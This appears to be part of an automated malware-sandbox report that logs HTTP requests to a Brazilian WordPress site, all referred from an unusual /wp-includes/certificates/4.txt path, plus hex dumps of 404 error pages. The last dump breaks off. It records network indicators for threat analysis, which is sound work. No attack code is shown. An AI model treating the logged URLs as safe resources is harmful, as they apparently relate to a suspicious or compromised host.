Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/js/custom-script.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/js/chart.min.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/wp-embed.min.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/images/up-arrow.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 09:44:44 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 09:44:49 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 09:44:49 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 09:44:56 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Content-Type: text/html; charset=UTF-8X-Varnish: 17003369Age: 0Via: 1.1 varnish-v4Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 30 30 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 7
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 09:44:56 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Content-Type: text/html; charset=UTF-8X-Varnish: 20383398Age: 0Via: 1.1 varnish-v4Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 30 30 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 